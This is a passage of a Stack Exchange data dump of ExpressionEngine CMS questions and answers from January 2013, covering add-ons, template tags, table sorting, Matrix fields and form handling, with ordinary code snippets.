  <row Id="4729" PostTypeId="2" ParentId="3603" CreationDate="2013-01-14T12:32:21.457" Score="1" Body="&lt;p&gt;Did you try &lt;a href=&quot;http://devot-ee.com/add-ons/external-entries&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/external-entries&lt;/a&gt; and &lt;a href=&quot;http://engaging.net/products/external-saef&quot; rel=&quot;nofollow&quot;&gt;External SAEF&lt;/a&gt;? Seems pretty straightforward. You can easily insert new entries in a table from an other database.&lt;/p&gt;&#xA;" OwnerUserId="783" LastEditorUserId="783" LastEditDate="2013-01-14T12:39:09.523" LastActivityDate="2013-01-14T12:39:09.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4730" PostTypeId="2" ParentId="3644" CreationDate="2013-01-14T13:09:53.030" Score="2" Body="&lt;p&gt;The &quot;Guest Posters&quot; group (and associated member) you are using as the author for your guest-submitted entries is simply a way for Safecracker to assign authorship to an entry from a logged-out user. No user is ever actually logged-in with that account, so the editing privileges you assign to it are not important.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default &quot;Guests&quot; member group is the one which would need privileges to edit other authors' entries, since your guest users, even if they have previously submitted entries, still belong to the &quot;Guests&quot; member group (because they have not logged-in). &lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-01-14T16:26:11.577" LastActivityDate="2013-01-14T16:26:11.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4731" PostTypeId="1" AcceptedAnswerId="4733" CreationDate="2013-01-14T13:13:28.500" Score="3" ViewCount="271" Body="&lt;p&gt;I'd like to be able to display incidental messages on the front end, such as for 'thank-you' content and success/error messages after form submissions. However, I'd like to do this without polluting the URLs with extra segments... Is there a standard solution for this?&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-01-14T13:29:47.533" Title="Front end flashdata / system messaging without URL segments" Tags="|system-messages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4732" PostTypeId="1" AcceptedAnswerId="4750" CreationDate="2013-01-14T13:24:54.050" Score="2" ViewCount="255" Body="&lt;p&gt;I'm using Assets 1.2.2. Is it possible to enable a client to download the contents of a file upload directory as a single zip file within Assets? If not, I'd welcome any other suggestions (or maybe it's a feature coming in Assets 2?) other than using FTP or the EE File Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've just looked into using EE File Manager and it allows you to select files (upto a page at a time) and download them as a zip file. Besides only being able to download one page at a time, the other reason I want to avoid this is that I don't want clients editing/deleting images via the File Manager (which might happen if they are given access to it).&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-01-14T17:41:05.593" Title="Possible to download a folder of images as a zip file within Assets?" Tags="|add-on|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4733" PostTypeId="2" ParentId="4731" CreationDate="2013-01-14T13:29:47.533" Score="2" Body="&lt;p&gt;Sure, cookies would be the way to go here if you don't want extra segments. &lt;a href=&quot;http://devot-ee.com/add-ons/cookie-plus&quot; rel=&quot;nofollow&quot;&gt;Cookies Plus&lt;/a&gt; looks like it could make this easy for you (though there are some negative reviews ... no harm in giving it a shot of course, it would save you from writing this custom or adding PHP into your templates).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, your form would redirect to &lt;strong&gt;forms/submit/success&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that template you'd put:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cookie_plus:set name=&quot;flash_message&quot; value=&quot;Your entry was submitted.&quot; seconds=&quot;10&quot;}&#xA;{redirect=&quot;forms/submit&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your &lt;strong&gt;forms/submit&lt;/strong&gt; template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cookie_plus:get name=&quot;flash_message&quot;}&#xA;{if cookie}&#xA;    &amp;lt;p class=&quot;message success&quot;&amp;gt;{cookie}&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;{/exp:cookie_plus:get}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can get more elaborate if you want to conditionally check for different cookie names that represent different kinds of messages, etc.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-14T13:29:47.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4734" PostTypeId="2" ParentId="3670" CreationDate="2013-01-14T14:08:07.680" Score="3" Body="&lt;p&gt;If you look at function no_results() in ./system/expressionengine/libraries/Template.php you will see that when a 404 template is defined as simply &lt;code&gt;&quot;404&quot;&lt;/code&gt; within a redirect tag, then the 404 template referenced by the config value &lt;code&gt;site_404&lt;/code&gt; is fetched and parsed. The template is not returned by the function but my guess is that it populates the property $EE-&gt;template-&gt;tagdata with the 404 template tagdata, which Stash will subsequently capture. Hence the apparent recursion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution to this rather odd problem is to simply reference the 404 template by template_group/template, e.g. &lt;code&gt;&quot;site/404&quot;&lt;/code&gt; in which case the no_results functions will send a redirect header via $EE-&gt;functions-&gt;redirect.&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-01-14T14:08:07.680" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4735" PostTypeId="2" ParentId="3708" CreationDate="2013-01-14T14:29:53.863" Score="2" Body="&lt;p&gt;You may also consider using &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;Switchee&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-01-14T14:29:53.863" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4736" PostTypeId="2" ParentId="3675" CreationDate="2013-01-14T14:53:21.653" Score="1" Body="&lt;p&gt;This is really an addendum to James' answer above; you can do the same thing without needing to use post-processing - this &lt;em&gt;may&lt;/em&gt; overcome the problem of previewing within BWF that you encountered here: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1990/weird-ce-image-better-workflow-issue&quot;&gt;weird CE Image &amp;amp; Better Workflow issue&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:parse parse_depth=&quot;2&quot;}&#xA;    {exp:channel:entries}&#xA;        {gallery_matrix}&#xA;            {exp:stash:set type=&quot;snippet&quot;}&#xA;                {stash:image_{row_count}}&#xA;                    &amp;lt;img src=&quot;{src}&quot;&amp;gt;&#xA;                {/stash:image_{row_count}}&#xA;            {/exp:stash:set}&#xA;        {/gallery_matrix}&#xA;        {exp:stash:set name=&quot;content_body&quot;}{cf_content_body}{/exp:stash:set}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:parse}&#xA;&#xA;{exp:stash:get name=&quot;content_body&quot; parse_vars=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-01-14T15:08:29.703" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4737" PostTypeId="1" AcceptedAnswerId="4745" CreationDate="2013-01-14T15:47:33.883" Score="3" ViewCount="201" Body="&lt;p&gt;I'm using Expresso Store &amp;amp; Channel Images Modules and I want to change the image being shown based on the colour variation chosen by the customer. eg. when selecting the blue shoe a blue show image is shown, when selecting red a red shoe image is shown etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure I can work out a way to do this using a naming convention or such like, but I was hoping someone might be able to suggest a way to do this more natively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;" OwnerUserId="785" LastActivityDate="2013-01-14T17:34:47.450" Title="Switching images based on product variation using Espresso" Tags="|expresso-store|image|channel-images|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4738" PostTypeId="1" AcceptedAnswerId="4739" CreationDate="2013-01-14T16:14:42.767" Score="1" ViewCount="137" Body="&lt;p&gt;Is it possible after submitting a safecracker form to send a thank you email to the guest?&lt;/p&gt;&#xA;" OwnerUserId="786" LastActivityDate="2013-01-14T16:43:26.070" Title="ExpressionEngine Safecracker Guest Thank you email" Tags="|safecracker|email|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4739" PostTypeId="2" ParentId="4738" CreationDate="2013-01-14T16:43:26.070" Score="2" Body="&lt;p&gt;I suggest you look at the &lt;a href=&quot;http://devot-ee.com/add-ons/postmaster&quot; rel=&quot;nofollow&quot;&gt;Postmaster add-on&lt;/a&gt; - it allows you to send fully-customizable email notifications after entries are submitted and/or edited (among other events).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(You'll have to make sure you collect the guest's email address as a custom field in your Safecracker form of course.)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-14T16:43:26.070" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4740" PostTypeId="1" CreationDate="2013-01-14T16:49:57.457" Score="2" ViewCount="119" Body="&lt;p&gt;This is kind of an open ended question, but has any one had any luck with creating a &quot;member specific&quot; navigation tree? I've looked into structure, taxonomy, and nav-ee but none seem to have the granularity of permissions I would need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to achieve is that a member can login and create a &quot;micro site&quot; that would allow the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The member &lt;strong&gt;can&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;create new pages or edit existing pages (created by the member) &lt;/li&gt;&#xA;&lt;li&gt;create/manage a single&#xA;multi-tier menu which controls the order and hierarchy of the&#xA;micro-site pages.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The member &lt;strong&gt;cannot&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;View/edit other micro sites&lt;/li&gt;&#xA;&lt;li&gt;Add or edit pages outside of their micro-site&lt;/li&gt;&#xA;&lt;li&gt;Alter any other site menus.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Ideally I'd like to manage this through some kind of jQuery-esque list that allows for nesting/re-ordering etc. I know this is a bit of a tall order. 0.o I'm willing to hack some stuff together if need be, but I was wondering if there was an existing solution somewhat close to what I'm trying to achieve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any one else put together something like this?&lt;/p&gt;&#xA;" OwnerUserId="787" LastActivityDate="2013-01-14T23:59:29.757" Title="User (member) specific site menu or hierarchy" Tags="|ee2|navigation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4742" PostTypeId="2" ParentId="4726" CreationDate="2013-01-14T17:01:30.763" Score="1" Body="&lt;p&gt;The easiest answer is to use an iFrame as @madebyhippo explains. Also, take a look at the &lt;a href=&quot;http://devot-ee.com/add-ons/custom-system-messages&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Custom System Messages&lt;/strong&gt;&lt;/a&gt; addon. This will move your system messages into regular EE templates so you'll have 100% control over the output.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-14T17:01:30.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4743" PostTypeId="1" CreationDate="2013-01-14T17:08:01.137" Score="4" ViewCount="968" Body="&lt;p&gt;I'm building a fieldtype add-on, and it presents the data contained therein via a table. I'm using EE's &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/table.html&quot; rel=&quot;nofollow&quot;&gt;Table class&lt;/a&gt; to generate the thing, and it's mostly working fine - columns are sortable, etc. However, one column is a checkbox (for selecting that row), and obviously I don't want it to be able to sort by that column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the Table class documentation, I should be able to disable sorting like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;table-&amp;gt;set_columns(array(&#xA;    'code' =&amp;gt; array('header' =&amp;gt; 'Code'),&#xA;    'name'  =&amp;gt; array('header' =&amp;gt; 'Name'),&#xA;    '_check'  =&amp;gt; array('header' =&amp;gt; form_checkbox(), 'sort' =&amp;gt; false)&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When viewing the generated table, it &lt;em&gt;looks&lt;/em&gt; like it's doing the right thing (the &quot;no-sort&quot; class):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;table cellspacing=&quot;0&quot; cellpadding=&quot;0&quot; border=&quot;0&quot; class=&quot;mainTable&quot; data-table_config=&quot;{removed for brevity}&quot;&amp;gt;&#xA;    &amp;lt;thead&amp;gt;&#xA;        &amp;lt;tr class=&quot;odd&quot;&amp;gt;&#xA;            &amp;lt;th data-table_column=&quot;code&quot; class=&quot;header&quot;&amp;gt;Code&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th data-table_column=&quot;name&quot; class=&quot;header&quot;&amp;gt;Name&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th class=&quot;no-sort header&quot; data-table_column=&quot;_check&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;checkbox&quot; class=&quot;toggle_all&quot; value=&quot;true&quot; name=&quot;select_all&quot;&amp;gt;&#xA;            &amp;lt;/th&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/thead&amp;gt;&#xA;    &amp;lt;tbody&amp;gt;&#xA;        ...&#xA;    &amp;lt;/tbody&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, the table is still sortable by the checkbox column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With javascript disabled, the output code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;table cellspacing=&quot;0&quot; cellpadding=&quot;0&quot; border=&quot;0&quot; class=&quot;mainTable&quot; data-table_config=&quot;{removed for brevity}&quot;&amp;gt;&#xA;    &amp;lt;thead&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th data-table_column=&quot;code&quot;&amp;gt;Code&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th data-table_column=&quot;name&quot;&amp;gt;Currency Name&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th class=&quot;no-sort&quot; data-table_column=&quot;_check&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;checkbox&quot; class=&quot;toggle_all&quot; value=&quot;true&quot; name=&quot;select_all&quot;&amp;gt;&#xA;            &amp;lt;/th&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/thead&amp;gt;&#xA;    &amp;lt;tbody&amp;gt;&#xA;        ...&#xA;    &amp;lt;/tbody&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've looked at tables that have sorting disabled for one column (the Content -&gt; Edit table of entries being the prime example), and it appears that the &quot;header&quot; class that is getting added to my table via javascript might be at fault, and the Entries table doesn't have that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;thead&amp;gt;&#xA;    &amp;lt;tr class=&quot;even&quot;&amp;gt;&#xA;        &amp;lt;th data-table_column=&quot;entry_id&quot;&amp;gt;#&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th data-table_column=&quot;title&quot;&amp;gt;Title&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th class=&quot;no-sort&quot; data-table_column=&quot;view&quot;&amp;gt;View&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th data-table_column=&quot;comment_total&quot;&amp;gt;Comments&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th data-table_column=&quot;screen_name&quot;&amp;gt;Author&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th data-table_column=&quot;entry_date&quot; class=&quot;headerSortUp&quot;&amp;gt;Date&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th data-table_column=&quot;channel_name&quot;&amp;gt;Channel&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th data-table_column=&quot;status&quot;&amp;gt;Status&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th class=&quot;no-sort&quot; data-table_column=&quot;_check&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;checkbox&quot; class=&quot;toggle_all&quot; value=&quot;true&quot; name=&quot;select_all&quot;&amp;gt;&#xA;        &amp;lt;/th&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;&amp;lt;/thead&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I do this properly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: As requested, here's the full table generation code (simplified by removal of conditionals, etc):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;table-&amp;gt;set_columns(array(&#xA;    'code'      =&amp;gt; array('header' =&amp;gt; lang('code')),&#xA;    'name'      =&amp;gt; array('header' =&amp;gt; lang('name')),&#xA;    '_check'    =&amp;gt; array(&#xA;        'header' =&amp;gt; form_checkbox('select_all', 'true', FALSE, 'class=&quot;toggle_all&quot;'),&#xA;        'sort' =&amp;gt; FALSE&#xA;    )&#xA;));&#xA;&#xA;$table_data = array();&#xA;&#xA;// Iterate over the complete list of items to build each table row&#xA;foreach ($this-&amp;gt;items as $code =&amp;gt; $label)&#xA;{&#xA;    // Is $code found in the $data array?&#xA;    $checked = (in_array($code, $data)) ? TRUE : FALSE;&#xA;&#xA;    // Prepare checkbox parameters&#xA;    $params = array(&#xA;        'name'      =&amp;gt; $field_name.'[]',&#xA;        'id'        =&amp;gt; $code,&#xA;        'value'     =&amp;gt; $code,&#xA;        'checked'   =&amp;gt; $checked,&#xA;        'class'     =&amp;gt; 'toggle'&#xA;    );&#xA;    // Add row as array to table array&#xA;    $table_data[] = array(&#xA;        'code'      =&amp;gt; form_label($code,$code),&#xA;        'name'      =&amp;gt; form_label($label,$code),&#xA;        '_check'    =&amp;gt; form_checkbox($params)&#xA;    );&#xA;} // End table rows loop&#xA;&#xA;// With all rows prepared, buid complete table&#xA;$this-&amp;gt;EE-&amp;gt;table-&amp;gt;set_data($table_data);&#xA;return $this-&amp;gt;EE-&amp;gt;table-&amp;gt;generate();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="544" LastEditorUserId="544" LastEditDate="2013-01-14T22:39:46.217" LastActivityDate="2013-01-24T17:10:08.273" Title="Disable table sorting for one column of a table created with EE's Table class?" Tags="|add-on-development|fieldtype|table|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4744" PostTypeId="2" ParentId="4726" CreationDate="2013-01-14T17:11:00.900" Score="1" Body="&lt;p&gt;I guess I have a different approach. For contact forms I always use Safecracker to store the data as channel entries. This way if an email isn't received, the contacts is readily available in a familiar place. With this method, there is no screen to worry about. You just redirect the user where you want, and you can even submit the form with AJAX if you want. This method always seems like the least amount of work, and uses first-party code to handle everything aside from the emails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For emails, I use my Postmaster add-on to create custom templates and can send them to whomever I need, and at any specific instance. Postmaster is a commercial add-on, but it's designed to give you the flexibility not available inherently available in EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://objectivehtml.com/articles/read/postmaster-v1.2&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/articles/read/postmaster-v1.2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-01-14T17:11:00.900" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4745" PostTypeId="2" ParentId="4737" CreationDate="2013-01-14T17:14:23.140" Score="3" Body="&lt;p&gt;I doubt there is way to do this natively. You'd need to look at a naming convention to match the variation name to the image as you noted and jQuery to do the switchout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an example on &lt;a href=&quot;https://carvedesigns.com/shop/product.php?productid=16884&amp;amp;cat=388&amp;amp;page=1&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;a non-Store site&lt;/strong&gt;&lt;/a&gt; that may help you get started. The image switch on this site happens when you click on the thumbnails at the bottom left of the product detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://stuffthatspins.com/2012/04/06/jquery-image-swap-using-form-pull-down-selected-value/&quot; rel=&quot;nofollow noreferrer&quot;&gt;This tutorial offers&lt;/a&gt;&lt;/strong&gt; another way of doing the swap with jQuery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is another tutorial: &lt;a href=&quot;https://stackoverflow.com/questions/7663857/swaping-images-injquery-on-select-dropdown-action&quot;&gt;&lt;strong&gt;Swaping images in jquery on select dropdown action&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-01-14T17:34:47.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4746" PostTypeId="2" ParentId="1479" CreationDate="2013-01-14T17:30:49.527" Score="3" Body="&lt;p&gt;If you have a specific list of entry_ids you want to change, you can run a query like this with your entry_ids separated by commas:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  UPDATE exp_channel_titles t &#xA;    SET t.status = 'pending' &#xA;    WHERE t.status = 'open'&#xA;    AND t.entry_id in (1,2,3,4)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-14T17:30:49.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4747" PostTypeId="2" ParentId="4737" CreationDate="2013-01-14T17:33:42.793" Score="2" Body="&lt;p&gt;As Anna has mentioned there is not a way to do this by default with the Store tags. You would need to do it with jQuery to swap the images. I would recommend that you use the &lt;a href=&quot;http://exp-resso.com/docs/store/product_tag.html#modifiers_variable_pair&quot; rel=&quot;nofollow&quot;&gt;Modifier Variable Pair&lt;/a&gt; to output the &lt;code&gt;option_name&lt;/code&gt; to create an element that you could link with your jQuery. You wouldn't want to use &lt;code&gt;option_id&lt;/code&gt;as it would be unique for every modifier option in the system.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-01-14T17:33:42.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4748" PostTypeId="1" AcceptedAnswerId="4749" CreationDate="2013-01-14T17:35:42.887" Score="3" ViewCount="384" Body="&lt;p&gt;I'm using Matrix, and the &lt;code&gt;row_id&lt;/code&gt; tag parameter isn't working for me. At the moment I am on relying on the search Tag Parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{technical_specifications row_id=&quot;1&quot;}{spec_value}{/technical_specifications}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whilst this works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{technical_specifications search:spec_label=&quot;Width&quot;}{spec_value}{/technical_specifications}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jGzNC.jpg&quot; alt=&quot;Screenshot of field setup in an entry&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="789" LastEditorUserId="268" LastEditDate="2013-01-15T01:06:33.473" LastActivityDate="2013-01-15T01:06:33.473" Title="row_id Tag Parameter isn't working in Matrix field" Tags="|add-on|matrix|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4749" PostTypeId="2" ParentId="4748" CreationDate="2013-01-14T17:39:44.133" Score="8" Body="&lt;p&gt;Row IDs in Matrix are unique for the whole site, like entry IDs. So there only will ever be one row with a row_id of '1' – the first row you ever created. If you’ve deleted that row, then no row exists with the ID '1' anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just want to grab the first row, use &lt;code&gt;limit=&quot;1&quot;&lt;/code&gt; instead, which will limit the output to only the first row.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to grab the second row, you would use &lt;code&gt;limit=&quot;1&quot;&lt;/code&gt; as well as &lt;code&gt;offset=&quot;1&quot;&lt;/code&gt;, etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of those parameters are documented on &lt;a href=&quot;http://pixelandtonic.com/matrix/docs/templates&quot;&gt;http://pixelandtonic.com/matrix/docs/templates&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditDate="2013-01-14T19:02:55.117" LastActivityDate="2013-01-14T19:02:55.117" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4750" PostTypeId="2" ParentId="4732" CreationDate="2013-01-14T17:41:05.593" Score="2" Body="&lt;p&gt;This is currently not a feature of the Assets addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could create your own functionality in a password protected EE template using &lt;a href=&quot;http://www.chaosm.net/blog/2010/05/22/php-zip-a-directory-of-images/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;this tutorial&lt;/strong&gt;&lt;/a&gt; and a selectable list of the Assets directories. &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-14T17:41:05.593" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4751" PostTypeId="2" ParentId="3603" CreationDate="2013-01-14T17:49:32.173" Score="0" Body="&lt;p&gt;There are several &quot;EE form add-ons&quot; you may want to consider that do the PHP job for you, and essentially store all the data in their own tables as you stated is something you want to do.  Each has their own advantages/disadvantages, depending on the use case.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The form add-ons I know of are: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/freeform&quot; rel=&quot;nofollow&quot;&gt;FreeForm&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/proform-drag-and-drop-form-builder&quot; rel=&quot;nofollow&quot;&gt;ProForm&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/forms&quot; rel=&quot;nofollow&quot;&gt;Forms&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;FreeForm has certainly been around the longest, and recently underwent a major overhaul.&lt;/p&gt;&#xA;" OwnerUserId="734" LastActivityDate="2013-01-14T17:49:32.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4752" PostTypeId="2" ParentId="3603" CreationDate="2013-01-14T17:57:17.473" Score="0" Body="&lt;p&gt;To break down the above answers &lt;a href=&quot;http://devot-ee.com/add-ons/freeform&quot; rel=&quot;nofollow&quot;&gt;FreeForm&lt;/a&gt; is great if you don't already have a database table created, and &lt;a href=&quot;http://devot-ee.com/add-ons/external-entries&quot; rel=&quot;nofollow&quot;&gt;External Entries&lt;/a&gt; is great if you &lt;em&gt;do&lt;/em&gt; already have a database table that you need to work with.&lt;/p&gt;&#xA;" OwnerUserId="766" LastActivityDate="2013-01-14T17:57:17.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4753" PostTypeId="1" AcceptedAnswerId="4756" CreationDate="2013-01-14T17:58:35.117" Score="1" ViewCount="305" Body="&lt;p&gt;I'm hoping to get some feedback from the community on what people's experiences have been with regard to setting up multipage (multistep) forms with these add-ons for a project I'm working on:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/freeform&quot; rel=&quot;nofollow noreferrer&quot;&gt;FreeForm&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/proform-drag-and-drop-form-builder&quot; rel=&quot;nofollow noreferrer&quot;&gt;ProForm&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/forms&quot; rel=&quot;nofollow noreferrer&quot;&gt;Forms&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Key functionality I'm looking for is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Ability to allow users to go &quot;back&quot; to previous steps&lt;/li&gt;&#xA;&lt;li&gt;Ability to ensure users cannot proceed to next step unless required fields are filled in&lt;/li&gt;&#xA;&lt;li&gt;Ability to use a Jquery form validation method (with form module as backup)&lt;/li&gt;&#xA;&lt;li&gt;Compatibility with &lt;a href=&quot;http://devot-ee.com/add-ons/snaptcha&quot; rel=&quot;nofollow noreferrer&quot;&gt;Snaptcha&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Nice to have: show a summary of data submitted in all steps before final submission&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Disclaimer: It's ironic that I'm asking this question, because I just recently gave a recommendation in &lt;a 